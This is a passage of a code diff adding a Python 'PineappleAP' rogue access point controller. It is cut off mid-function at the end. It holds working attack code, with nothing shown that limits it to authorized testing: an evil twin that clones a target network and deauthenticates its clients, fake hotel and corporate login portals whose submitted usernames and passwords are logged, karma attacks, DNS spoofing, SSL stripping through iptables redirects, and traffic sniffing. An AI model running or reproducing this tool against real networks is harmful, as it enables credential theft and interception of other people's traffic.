+
+
+''',
+
+ 'corporate': '''
+
+
+
+
+Welcome to Our Hotel
+Enter your room details to connect to the internet. + + +
+
+
+''',
+
+ 'social_login': '''
+
+
+
+
+SECURE NET
+Network Authentication
+Sign in with your corporate credentials to access the network. + +This is a monitored network. Unauthorized access is prohibited.
+
+
+
+
+''',
+
+ 'terms_accept': '''
+
+
+
+
+Free WiFi Hotspot
+Sign in to get connected. + + +
+
+
+''',
+}
+
+PORTAL_SUCCESS_PAGE = '''
+
+
+
+
+WiFi Access
+Please accept the terms of service to connect. +
+
+
+
+Terms of Service
+1. This wireless network is provided for authorized use only. By accessing this network, you agree to be bound by these terms.
+2. You agree not to engage in any illegal or unauthorized activity while using this network. All network traffic may be monitored and logged.
+3. The network provider is not responsible for any data loss, security breaches, or damages resulting from use of this network.
+4. You acknowledge that this is a shared network and that data transmitted may be visible to other users. Use of VPN is recommended for sensitive communications.
+5. The provider reserves the right to terminate access at any time without notice for any violation of these terms.
+6. Maximum bandwidth allocation applies. Streaming and large downloads may be throttled during peak hours.
+7. You agree to provide accurate registration information.
+
+
+
+'''
+
+
+# ── Pineapple AP Class ───────────────────────────────────────────────────────
+
+class PineappleAP:
+ """WiFi Pineapple / Rogue AP controller."""
+
+ _instance = None
+
+ def __init__(self):
+ data_dir = get_data_dir()
+ if isinstance(data_dir, Path):
+ data_dir = str(data_dir)
+ self.data_dir = os.path.join(data_dir, 'pineapple')
+ os.makedirs(self.data_dir, exist_ok=True)
+
+ self.configs_dir = os.path.join(self.data_dir, 'configs')
+ os.makedirs(self.configs_dir, exist_ok=True)
+ self.captures_dir = os.path.join(self.data_dir, 'captures')
+ os.makedirs(self.captures_dir, exist_ok=True)
+ self.traffic_dir = os.path.join(self.data_dir, 'traffic')
+ os.makedirs(self.traffic_dir, exist_ok=True)
+
+ # Tool paths
+ self.hostapd = find_tool('hostapd') or shutil.which('hostapd')
+ self.dnsmasq = find_tool('dnsmasq') or shutil.which('dnsmasq')
+ self.iptables = find_tool('iptables') or shutil.which('iptables')
+ self.nftables = find_tool('nft') or shutil.which('nft')
+ self.airbase = find_tool('airbase-ng') or shutil.which('airbase-ng')
+ self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
+ self.sslstrip_bin = find_tool('sslstrip') or shutil.which('sslstrip')
+ self.tcpdump = find_tool('tcpdump') or shutil.which('tcpdump')
+ self.iwconfig_bin = shutil.which('iwconfig')
+ self.iw_bin = shutil.which('iw')
+ self.ip_bin = shutil.which('ip')
+
+ # State
+ self._ap_running = False
+ self._ap_ssid = ''
+ self._ap_channel = 6
+ self._ap_interface = ''
+ self._internet_interface = ''
+ self._hostapd_proc: Optional[subprocess.Popen] = None
+ self._dnsmasq_proc: Optional[subprocess.Popen] = None
+ self._portal_active = False
+ self._portal_type = ''
+ self._karma_active = False
+ self._karma_proc: Optional[subprocess.Popen] = None
+ self._sslstrip_proc: Optional[subprocess.Popen] = None
+ self._sslstrip_active = False
+ self._sniff_proc: Optional[subprocess.Popen] = None
+ self._dns_spoofs: Dict[str, str] = {}
+ self._dns_spoof_active = False
+ self._clients: Dict[str, Dict] = {}
+ self._portal_captures: List[Dict] = []
+ self._traffic_stats: Dict[str, Any] = {
+ 'total_bytes': 0, 'top_domains': {}, 'top_clients': {}
+ }
+ self._lock = threading.Lock()
+
+ # Load persisted captures
+ self._load_captures()
+
+ # ── Interface Management ─────────────────────────────────────────────
+
+ def get_interfaces(self) -> List[Dict]:
+ """List wireless interfaces with driver info, mode, channel."""
+ interfaces = []
+
+ # Try iw first
+ if self.iw_bin:
+ try:
+ out = subprocess.check_output(
+ [self.iw_bin, 'dev'], text=True, timeout=5,
+ stderr=subprocess.DEVNULL
+ )
+ current_phy = ''
+ iface = None
+ for line in out.splitlines():
+ stripped = line.strip()
+ if stripped.startswith('phy#'):
+ current_phy = stripped
+ elif stripped.startswith('Interface'):
+ if iface:
+ interfaces.append(iface)
+ iface = {
+ 'name': stripped.split()[-1],
+ 'mode': 'managed',
+ 'channel': 0,
+ 'mac': '',
+ 'phy': current_phy,
+ 'driver': ''
+ }
+ elif iface:
+ if stripped.startswith('type'):
+ iface['mode'] = stripped.split()[-1]
+ elif stripped.startswith('channel'):
+ try:
+ iface['channel'] = int(stripped.split()[1])
+ except (ValueError, IndexError):
+ pass
+ elif stripped.startswith('addr'):
+ iface['mac'] = stripped.split()[-1]
+ if iface:
+ interfaces.append(iface)
+ except Exception:
+ pass
+
+ # Get driver info from /sys
+ for iface in interfaces:
+ try:
+ driver_link = Path(f'/sys/class/net/{iface["name"]}/device/driver')
+ if driver_link.exists():
+ iface['driver'] = os.path.basename(os.readlink(str(driver_link)))
+ except Exception:
+ pass
+
+ # Fallback to iwconfig
+ if not interfaces and self.iwconfig_bin:
+ try:
+ out = subprocess.check_output(
+ [self.iwconfig_bin], text=True,
+ stderr=subprocess.DEVNULL, timeout=5
+ )
+ for block in out.split('\n\n'):
+ if 'IEEE 802.11' in block or 'ESSID' in block:
+ name = block.split()[0]
+ mode = 'managed'
+ if 'Mode:Monitor' in block:
+ mode = 'monitor'
+ elif 'Mode:Master' in block:
+ mode = 'master'
+ ch_m = re.search(r'Channel[:\s]*(\d+)', block)
+ ch = int(ch_m.group(1)) if ch_m else 0
+ interfaces.append({
+ 'name': name, 'mode': mode, 'channel': ch,
+ 'mac': '', 'phy': '', 'driver': ''
+ })
+ except Exception:
+ pass
+
+ # Fallback: /sys/class/net
+ if not interfaces:
+ try:
+ wireless_dir = Path('/sys/class/net')
+ if wireless_dir.exists():
+ for d in wireless_dir.iterdir():
+ if (d / 'wireless').exists() or (d / 'phy80211').exists():
+ driver = ''
+ try:
+ dl = d / 'device' / 'driver'
+ if dl.exists():
+ driver = os.path.basename(os.readlink(str(dl)))
+ except Exception:
+ pass
+ interfaces.append({
+ 'name': d.name, 'mode': 'unknown', 'channel': 0,
+ 'mac': '', 'phy': '', 'driver': driver
+ })
+ except Exception:
+ pass
+
+ # Also list non-wireless interfaces (for internet_interface)
+ # Tag each with 'wireless': True/False
+ wireless_names = {i['name'] for i in interfaces}
+ for iface in interfaces:
+ iface['wireless'] = True
+
+ try:
+ net_dir = Path('/sys/class/net')
+ if net_dir.exists():
+ for d in net_dir.iterdir():
+ if d.name not in wireless_names and d.name != 'lo':
+ # Check if it's up and has carrier
+ try:
+ operstate = (d / 'operstate').read_text().strip()
+ except Exception:
+ operstate = 'unknown'
+ interfaces.append({
+ 'name': d.name, 'mode': operstate,
+ 'channel': 0, 'mac': '', 'phy': '',
+ 'driver': '', 'wireless': False
+ })
+ except Exception:
+ pass
+
+ return interfaces
+
+ def get_tools_status(self) -> Dict[str, bool]:
+ """Check availability of all required tools."""
+ return {
+ 'hostapd': self.hostapd is not None,
+ 'dnsmasq': self.dnsmasq is not None,
+ 'iptables': self.iptables is not None,
+ 'nft': self.nftables is not None,
+ 'airbase-ng': self.airbase is not None,
+ 'aireplay-ng': self.aireplay is not None,
+ 'sslstrip': self.sslstrip_bin is not None,
+ 'tcpdump': self.tcpdump is not None,
+ 'iw': self.iw_bin is not None,
+ 'ip': self.ip_bin is not None,
+ }
+
+ # ── Rogue AP ─────────────────────────────────────────────────────────
+
+ def start_rogue_ap(self, ssid: str, interface: str, channel: int = 6,
+ encryption: str = 'open', password: str = None,
+ internet_interface: str = None) -> Dict:
+ """Configure and start hostapd-based rogue access point."""
+ if self._ap_running:
+ return {'ok': False, 'error': 'AP is already running. Stop it first.'}
+ if not self.hostapd:
+ return {'ok': False, 'error': 'hostapd not found. Install with: apt install hostapd'}
+ if not self.dnsmasq:
+ return {'ok': False, 'error': 'dnsmasq not found. Install with: apt install dnsmasq'}
+ if not ssid or not interface:
+ return {'ok': False, 'error': 'SSID and interface are required'}
+
+ try:
+ # Build hostapd configuration
+ hostapd_conf = os.path.join(self.configs_dir, 'hostapd.conf')
+ conf_lines = [
+ f'interface={interface}',
+ f'ssid={ssid}',
+ f'channel={channel}',
+ 'driver=nl80211',
+ 'hw_mode=g',
+ 'wmm_enabled=0',
+ 'macaddr_acl=0',
+ 'auth_algs=1',
+ 'ignore_broadcast_ssid=0',
+ ]
+
+ if encryption == 'wpa2' and password:
+ conf_lines.extend([
+ 'wpa=2',
+ 'wpa_key_mgmt=WPA-PSK',
+ f'wpa_passphrase={password}',
+ 'rsn_pairwise=CCMP',
+ ])
+ elif encryption == 'wpa' and password:
+ conf_lines.extend([
+ 'wpa=1',
+ 'wpa_key_mgmt=WPA-PSK',
+ f'wpa_passphrase={password}',
+ 'wpa_pairwise=TKIP',
+ ])
+
+ with open(hostapd_conf, 'w') as f:
+ f.write('\n'.join(conf_lines) + '\n')
+
+ # Configure interface IP
+ ap_ip = '10.0.0.1'
+ ap_subnet = '10.0.0.0/24'
+ if self.ip_bin:
+ subprocess.run(
+ [self.ip_bin, 'addr', 'flush', 'dev', interface],
+ capture_output=True, timeout=5
+ )
+ subprocess.run(
+ [self.ip_bin, 'addr', 'add', f'{ap_ip}/24', 'dev', interface],
+ capture_output=True, timeout=5
+ )
+ subprocess.run(
+ [self.ip_bin, 'link', 'set', interface, 'up'],
+ capture_output=True, timeout=5
+ )
+
+ # Build dnsmasq configuration
+ dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf')
+ dns_lines = [
+ f'interface={interface}',
+ 'bind-interfaces',
+ f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h',
+ f'dhcp-option=3,{ap_ip}',
+ f'dhcp-option=6,{ap_ip}',
+ f'server=8.8.8.8',
+ f'server=8.8.4.4',
+ 'log-queries',
+ f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}',
+ f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}',
+ ]
+
+ # Add DNS spoofs if active
+ if self._dns_spoof_active and self._dns_spoofs:
+ for domain, ip in self._dns_spoofs.items():
+ dns_lines.append(f'address=/{domain}/{ip}')
+
+ with open(dnsmasq_conf, 'w') as f:
+ f.write('\n'.join(dns_lines) + '\n')
+
+ # Set up NAT/forwarding if internet interface provided
+ if internet_interface:
+ self._setup_nat(interface, internet_interface, ap_subnet)
+ self._internet_interface = internet_interface
+
+ # Start hostapd
+ self._hostapd_proc = subprocess.Popen(
+ [self.hostapd, hostapd_conf],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(1)
+
+ # Check if hostapd started OK
+ if self._hostapd_proc.poll() is not None:
+ stderr = self._hostapd_proc.stderr.read().decode(errors='replace')
+ return {'ok': False, 'error': f'hostapd failed to start: {stderr[:300]}'}
+
+ # Start dnsmasq
+ self._dnsmasq_proc = subprocess.Popen(
+ [self.dnsmasq, '-C', dnsmasq_conf, '-d'],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(0.5)
+
+ if self._dnsmasq_proc.poll() is not None:
+ stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace')
+ self._hostapd_proc.terminate()
+ return {'ok': False, 'error': f'dnsmasq failed to start: {stderr[:300]}'}
+
+ self._ap_running = True
+ self._ap_ssid = ssid
+ self._ap_channel = channel
+ self._ap_interface = interface
+
+ return {
+ 'ok': True,
+ 'message': f'Rogue AP "{ssid}" started on {interface} (ch {channel})',
+ 'ssid': ssid,
+ 'channel': channel,
+ 'interface': interface,
+ 'ip': ap_ip,
+ 'encryption': encryption,
+ 'nat': internet_interface is not None
+ }
+
+ except Exception as e:
+ self.stop_rogue_ap()
+ return {'ok': False, 'error': str(e)}
+
+ def stop_rogue_ap(self) -> Dict:
+ """Stop rogue AP, kill hostapd/dnsmasq, cleanup."""
+ errors = []
+
+ # Kill hostapd
+ if self._hostapd_proc:
+ try:
+ self._hostapd_proc.terminate()
+ self._hostapd_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._hostapd_proc.kill()
+ except Exception:
+ pass
+ self._hostapd_proc = None
+
+ # Kill dnsmasq
+ if self._dnsmasq_proc:
+ try:
+ self._dnsmasq_proc.terminate()
+ self._dnsmasq_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._dnsmasq_proc.kill()
+ except Exception:
+ pass
+ self._dnsmasq_proc = None
+
+ # Remove NAT rules
+ if self._internet_interface and self._ap_interface:
+ self._teardown_nat(self._ap_interface, self._internet_interface)
+
+ # Stop captive portal if running
+ if self._portal_active:
+ self.stop_captive_portal()
+
+ # Stop karma if running
+ if self._karma_active:
+ self.disable_karma()
+
+ # Stop SSL strip if running
+ if self._sslstrip_active:
+ self.disable_ssl_strip()
+
+ # Flush interface IP
+ if self.ip_bin and self._ap_interface:
+ try:
+ subprocess.run(
+ [self.ip_bin, 'addr', 'flush', 'dev', self._ap_interface],
+ capture_output=True, timeout=5
+ )
+ except Exception:
+ pass
+
+ self._ap_running = False
+ self._ap_ssid = ''
+ self._ap_channel = 6
+ self._ap_interface = ''
+ self._internet_interface = ''
+ self._clients.clear()
+
+ return {'ok': True, 'message': 'Rogue AP stopped and cleaned up'}
+
+ def is_running(self) -> bool:
+ """Check if AP is active."""
+ if self._ap_running and self._hostapd_proc:
+ if self._hostapd_proc.poll() is not None:
+ self._ap_running = False
+ return self._ap_running
+
+ def get_status(self) -> Dict:
+ """Get AP status details."""
+ running = self.is_running()
+ return {
+ 'running': running,
+ 'ssid': self._ap_ssid if running else '',
+ 'channel': self._ap_channel if running else 0,
+ 'interface': self._ap_interface if running else '',
+ 'internet_interface': self._internet_interface if running else '',
+ 'client_count': len(self._clients) if running else 0,
+ 'portal_active': self._portal_active,
+ 'portal_type': self._portal_type,
+ 'karma_active': self._karma_active,
+ 'sslstrip_active': self._sslstrip_active,
+ 'dns_spoof_active': self._dns_spoof_active,
+ 'dns_spoofs': self._dns_spoofs if self._dns_spoof_active else {},
+ 'capture_count': len(self._portal_captures),
+ 'tools': self.get_tools_status()
+ }
+
+ # ── Evil Twin ────────────────────────────────────────────────────────
+
+ def evil_twin(self, target_ssid: str, target_bssid: str, interface: str,
+ internet_interface: str = None) -> Dict:
+ """Clone target AP config and start rogue AP with same parameters."""
+ if self._ap_running:
+ return {'ok': False, 'error': 'AP already running. Stop it first.'}
+ if not target_ssid or not interface:
+ return {'ok': False, 'error': 'Target SSID and interface are required'}
+
+ # Try to determine target channel
+ channel = 6 # default
+ if self.iw_bin:
+ try:
+ out = subprocess.check_output(
+ [self.iw_bin, 'dev', interface, 'scan'],
+ text=True, timeout=15, stderr=subprocess.DEVNULL
+ )
+ # Parse scan output for the target BSSID/SSID
+ bss_block = ''
+ capture = False
+ for line in out.splitlines():
+ if line.startswith('BSS '):
+ if capture and bss_block:
+ break
+ bssid_found = line.split()[1].split('(')[0].upper()
+ if target_bssid and bssid_found == target_bssid.upper():
+ capture = True
+ bss_block = ''
+ else:
+ capture = False
+ if capture:
+ bss_block += line + '\n'
+
+ if bss_block:
+ ch_m = re.search(r'DS Parameter set: channel (\d+)', bss_block)
+ if ch_m:
+ channel = int(ch_m.group(1))
+ else:
+ ch_m = re.search(r'primary channel: (\d+)', bss_block)
+ if ch_m:
+ channel = int(ch_m.group(1))
+ except Exception:
+ pass
+
+ # Optionally deauth clients from real AP
+ if target_bssid and self.aireplay:
+ try:
+ subprocess.Popen(
+ [self.aireplay, '-0', '5', '-a', target_bssid, interface],
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
+ )
+ except Exception:
+ pass # Non-fatal: deauth is optional
+
+ # Start AP with cloned params
+ result = self.start_rogue_ap(
+ ssid=target_ssid,
+ interface=interface,
+ channel=channel,
+ encryption='open',
+ internet_interface=internet_interface
+ )
+
+ if result.get('ok'):
+ result['message'] = (
+ f'Evil twin for "{target_ssid}" started on ch {channel}'
+ + (f' (cloned from {target_bssid})' if target_bssid else '')
+ )
+ result['evil_twin'] = True
+ result['target_bssid'] = target_bssid
+
+ return result
+
+ # ── Captive Portal ───────────────────────────────────────────────────
+
+ def start_captive_portal(self, portal_type: str = 'hotel_wifi',
+ custom_html: str = None) -> Dict:
+ """Set up iptables to redirect HTTP to captive portal."""
+ if not self._ap_running:
+ return {'ok': False, 'error': 'Start rogue AP first before enabling captive portal'}
+ if not self.iptables:
+ return {'ok': False, 'error': 'iptables not found'}
+
+ ap_ip = '10.0.0.1'
+
+ try:
+ # Redirect HTTP (port 80) to our portal server
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-A', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '80',
+ '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080'
+ ], capture_output=True, timeout=5)
+
+ # Redirect HTTPS (port 443) to portal as well
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-A', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '443',
+ '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080'
+ ], capture_output=True, timeout=5)
+
+ # Allow the redirect
+ subprocess.run([
+ self.iptables, '-A', 'FORWARD',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080',
+ '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+
+ self._portal_active = True
+ self._portal_type = portal_type
+
+ # Save portal HTML for serving
+ if custom_html:
+ portal_html = custom_html
+ else:
+ portal_html = CAPTIVE_PORTAL_TEMPLATES.get(portal_type, '')
+ if not portal_html:
+ portal_html = CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', '')
+
+ portal_file = os.path.join(self.configs_dir, 'portal.html')
+ with open(portal_file, 'w') as f:
+ f.write(portal_html)
+
+ success_file = os.path.join(self.configs_dir, 'portal_success.html')
+ with open(success_file, 'w') as f:
+ f.write(PORTAL_SUCCESS_PAGE)
+
+ return {
+ 'ok': True,
+ 'message': f'Captive portal ({portal_type}) enabled',
+ 'portal_type': portal_type,
+ 'redirect_ip': ap_ip
+ }
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def stop_captive_portal(self) -> Dict:
+ """Remove captive portal iptables redirect rules."""
+ if not self._portal_active:
+ return {'ok': False, 'error': 'No captive portal is running'}
+
+ ap_ip = '10.0.0.1'
+
+ try:
+ if self.iptables and self._ap_interface:
+ # Remove HTTP redirect
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-D', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '80',
+ '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080'
+ ], capture_output=True, timeout=5)
+
+ # Remove HTTPS redirect
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-D', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '443',
+ '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080'
+ ], capture_output=True, timeout=5)
+
+ # Remove forward rule
+ subprocess.run([
+ self.iptables, '-D', 'FORWARD',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080',
+ '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+
+ except Exception:
+ pass
+
+ self._portal_active = False
+ self._portal_type = ''
+ return {'ok': True, 'message': 'Captive portal stopped'}
+
+ def capture_portal_creds(self, data: Dict) -> Dict:
+ """Log credentials from portal form submission."""
+ entry = {
+ 'timestamp': datetime.now().isoformat(),
+ 'username': data.get('username', ''),
+ 'password': data.get('password', ''),
+ 'email': data.get('email', ''),
+ 'domain': data.get('domain', ''),
+ 'provider': data.get('provider', ''),
+ 'ip': data.get('ip', ''),
+ 'user_agent': data.get('user_agent', ''),
+ }
+
+ with self._lock:
+ self._portal_captures.append(entry)
+ self._save_captures()
+
+ return {'ok': True, 'count': len(self._portal_captures)}
+
+ def get_portal_captures(self) -> List[Dict]:
+ """Return all captured portal credentials."""
+ return list(self._portal_captures)
+
+ def get_portal_html(self) -> str:
+ """Return the current portal HTML page."""
+ portal_file = os.path.join(self.configs_dir, 'portal.html')
+ if os.path.exists(portal_file):
+ with open(portal_file, 'r') as f:
+ return f.read()
+ # Default fallback
+ return CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', 'Portal')
+
+ def get_portal_success_html(self) -> str:
+ """Return the portal success page HTML."""
+ success_file = os.path.join(self.configs_dir, 'portal_success.html')
+ if os.path.exists(success_file):
+ with open(success_file, 'r') as f:
+ return f.read()
+ return PORTAL_SUCCESS_PAGE
+
+ # ── Karma Attack ─────────────────────────────────────────────────────
+
+ def enable_karma(self, interface: str = None) -> Dict:
+ """Enable karma mode: respond to all probe requests."""
+ iface = interface or self._ap_interface
+ if not iface:
+ return {'ok': False, 'error': 'No interface specified'}
+ if self._karma_active:
+ return {'ok': False, 'error': 'Karma mode is already active'}
+
+ # Prefer hostapd-mana if available
+ hostapd_mana = find_tool('hostapd-mana') or shutil.which('hostapd-mana')
+
+ if hostapd_mana:
+ # Generate karma-enabled hostapd-mana config
+ karma_conf = os.path.join(self.configs_dir, 'karma.conf')
+ conf_lines = [
+ f'interface={iface}',
+ 'ssid=FreeWiFi',
+ 'channel=6',
+ 'driver=nl80211',
+ 'hw_mode=g',
+ 'enable_karma=1',
+ 'karma_black_white=0',
+ ]
+ with open(karma_conf, 'w') as f:
+ f.write('\n'.join(conf_lines) + '\n')
+
+ try:
+ self._karma_proc = subprocess.Popen(
+ [hostapd_mana, karma_conf],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(1)
+ if self._karma_proc.poll() is not None:
+ stderr = self._karma_proc.stderr.read().decode(errors='replace')
+ return {'ok': False, 'error': f'hostapd-mana failed: {stderr[:200]}'}
+
+ self._karma_active = True
+ return {'ok': True, 'message': 'Karma mode enabled via hostapd-mana'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # Fallback: airbase-ng for karma
+ elif self.airbase:
+ try:
+ self._karma_proc = subprocess.Popen(
+ [self.airbase, '-P', '-C', '30', '-e', 'FreeWiFi', '-v', iface],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(1)
+ if self._karma_proc.poll() is not None:
+ stderr = self._karma_proc.stderr.read().decode(errors='replace')
+ return {'ok': False, 'error': f'airbase-ng failed: {stderr[:200]}'}
+
+ self._karma_active = True
+ return {'ok': True, 'message': 'Karma mode enabled via airbase-ng'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ return {'ok': False, 'error': 'Neither hostapd-mana nor airbase-ng found'}
+
+ def disable_karma(self) -> Dict:
+ """Stop karma mode."""
+ if not self._karma_active:
+ return {'ok': False, 'error': 'Karma mode is not active'}
+
+ if self._karma_proc:
+ try:
+ self._karma_proc.terminate()
+ self._karma_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._karma_proc.kill()
+ except Exception:
+ pass
+ self._karma_proc = None
+
+ self._karma_active = False
+ return {'ok': True, 'message': 'Karma mode disabled'}
+
+ # ── Client Management ────────────────────────────────────────────────
+
+ def get_clients(self) -> List[Dict]:
+ """List connected clients from DHCP leases and ARP table."""
+ clients = {}
+
+ # Parse dnsmasq lease file
+ lease_file = os.path.join(self.data_dir, 'dnsmasq.leases')
+ if os.path.exists(lease_file):
+ try:
+ with open(lease_file, 'r') as f:
+ for line in f:
+ parts = line.strip().split()
+ if len(parts) >= 4:
+ mac = parts[1].upper()
+ ip = parts[2]
+ hostname = parts[3] if parts[3] != '*' else ''
+ clients[mac] = {
+ 'mac': mac,
+ 'ip': ip,
+ 'hostname': hostname,
+ 'os': self._fingerprint_os(hostname, mac),
+ 'first_seen': self._clients.get(mac, {}).get(
+ 'first_seen', datetime.now().isoformat()),
+ 'last_seen': datetime.now().isoformat(),
+ 'data_usage': self._clients.get(mac, {}).get('data_usage', 0)
+ }
+ except Exception:
+ pass
+
+ # Supplement with ARP table
+ try:
+ arp_output = subprocess.check_output(
+ ['arp', '-an'], text=True, timeout=5, stderr=subprocess.DEVNULL
+ )
+ for line in arp_output.splitlines():
+ m = re.match(r'\S+\s+\((\d+\.\d+\.\d+\.\d+)\)\s+at\s+([0-9a-fA-F:]+)', line)
+ if m:
+ ip = m.group(1)
+ mac = m.group(2).upper()
+ if ip.startswith('10.0.0.') and mac not in clients:
+ clients[mac] = {
+ 'mac': mac,
+ 'ip': ip,
+ 'hostname': '',
+ 'os': '',
+ 'first_seen': self._clients.get(mac, {}).get(
+ 'first_seen', datetime.now().isoformat()),
+ 'last_seen': datetime.now().isoformat(),
+ 'data_usage': self._clients.get(mac, {}).get('data_usage', 0)
+ }
+ except Exception:
+ pass
+
+ with self._lock:
+ self._clients.update(clients)
+
+ return list(self._clients.values())
+
+ def kick_client(self, mac_address: str) -> Dict:
+ """Deauthenticate specific client from rogue AP."""
+ if not self._ap_running:
+ return {'ok': False, 'error': 'AP is not running'}
+ if not mac_address:
+ return {'ok': False, 'error': 'MAC address is required'}
+
+ mac = mac_address.upper()
+
+ # Use aireplay-ng to send deauth
+ if self.aireplay and self._ap_interface:
+ try:
+ # Get the AP BSSID from interface
+ ap_mac = self._get_interface_mac(self._ap_interface)
+ if not ap_mac:
+ ap_mac = 'FF:FF:FF:FF:FF:FF'
+
+ subprocess.run(
+ [self.aireplay, '-0', '3', '-a', ap_mac, '-c', mac, self._ap_interface],
+ capture_output=True, timeout=10
+ )
+
+ # Remove from client list
+ if mac in self._clients:
+ del self._clients[mac]
+
+ return {'ok': True, 'message': f'Deauth sent to {mac}'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # Fallback: use hostapd_cli
+ hostapd_cli = shutil.which('hostapd_cli')
+ if hostapd_cli:
+ try:
+ subprocess.run(
+ [hostapd_cli, 'deauthenticate', mac],
+ capture_output=True, timeout=5
+ )
+ if mac in self._clients:
+ del self._clients[mac]
+ return {'ok': True, 'message': f'Client {mac} deauthenticated'}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ return {'ok': False, 'error': 'No tool available to kick client'}
+
+ # ── DNS Spoofing ─────────────────────────────────────────────────────
+
+ def enable_dns_spoof(self, spoofs: Dict[str, str]) -> Dict:
+ """Configure dnsmasq to resolve specific domains to specified IPs."""
+ if not spoofs:
+ return {'ok': False, 'error': 'No spoofs provided'}
+
+ self._dns_spoofs = dict(spoofs)
+ self._dns_spoof_active = True
+
+ # If AP is running, restart dnsmasq with new config
+ if self._ap_running:
+ return self._restart_dnsmasq()
+
+ return {
+ 'ok': True,
+ 'message': f'DNS spoofing configured for {len(spoofs)} domain(s). '
+ 'Spoofs will activate when AP starts.',
+ 'spoofs': spoofs
+ }
+
+ def disable_dns_spoof(self) -> Dict:
+ """Restore normal DNS resolution."""
+ self._dns_spoofs.clear()
+ self._dns_spoof_active = False
+
+ if self._ap_running:
+ return self._restart_dnsmasq()
+
+ return {'ok': True, 'message': 'DNS spoofing disabled'}
+
+ # ── SSL Strip ────────────────────────────────────────────────────────
+
+ def enable_ssl_strip(self) -> Dict:
+ """Set up iptables + sslstrip to downgrade HTTPS connections."""
+ if not self._ap_running:
+ return {'ok': False, 'error': 'Start rogue AP first'}
+ if self._sslstrip_active:
+ return {'ok': False, 'error': 'SSL strip is already running'}
+ if not self.sslstrip_bin:
+ return {'ok': False, 'error': 'sslstrip not found. Install with: pip install sslstrip'}
+ if not self.iptables:
+ return {'ok': False, 'error': 'iptables not found'}
+
+ sslstrip_port = 10000
+
+ try:
+ # Enable IP forwarding
+ subprocess.run(
+ ['sysctl', '-w', 'net.ipv4.ip_forward=1'],
+ capture_output=True, timeout=5
+ )
+
+ # Redirect HTTPS traffic to sslstrip
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-A', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '443',
+ '-j', 'REDIRECT', '--to-port', str(sslstrip_port)
+ ], capture_output=True, timeout=5)
+
+ # Start sslstrip
+ log_file = os.path.join(self.data_dir, 'sslstrip.log')
+ self._sslstrip_proc = subprocess.Popen(
+ [self.sslstrip_bin, '-l', str(sslstrip_port), '-w', log_file],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(1)
+
+ if self._sslstrip_proc.poll() is not None:
+ stderr = self._sslstrip_proc.stderr.read().decode(errors='replace')
+ return {'ok': False, 'error': f'sslstrip failed: {stderr[:200]}'}
+
+ self._sslstrip_active = True
+ return {'ok': True, 'message': f'SSL strip enabled on port {sslstrip_port}'}
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def disable_ssl_strip(self) -> Dict:
+ """Remove sslstrip iptables rules and stop sslstrip."""
+ if not self._sslstrip_active:
+ return {'ok': False, 'error': 'SSL strip is not running'}
+
+ sslstrip_port = 10000
+
+ # Kill sslstrip
+ if self._sslstrip_proc:
+ try:
+ self._sslstrip_proc.terminate()
+ self._sslstrip_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._sslstrip_proc.kill()
+ except Exception:
+ pass
+ self._sslstrip_proc = None
+
+ # Remove iptables rule
+ if self.iptables and self._ap_interface:
+ try:
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-D', 'PREROUTING',
+ '-i', self._ap_interface, '-p', 'tcp', '--dport', '443',
+ '-j', 'REDIRECT', '--to-port', str(sslstrip_port)
+ ], capture_output=True, timeout=5)
+ except Exception:
+ pass
+
+ self._sslstrip_active = False
+ return {'ok': True, 'message': 'SSL strip disabled'}
+
+ # ── Traffic Capture ──────────────────────────────────────────────────
+
+ def sniff_traffic(self, interface: str = None, filter_expr: str = None,
+ duration: int = 60) -> Dict:
+ """Capture packets from connected clients."""
+ iface = interface or self._ap_interface
+ if not iface:
+ return {'ok': False, 'error': 'No interface specified'}
+ if not self.tcpdump:
+ return {'ok': False, 'error': 'tcpdump not found'}
+ if self._sniff_proc and self._sniff_proc.poll() is None:
+ return {'ok': False, 'error': 'Capture already running. Stop it first.'}
+
+ cap_file = os.path.join(
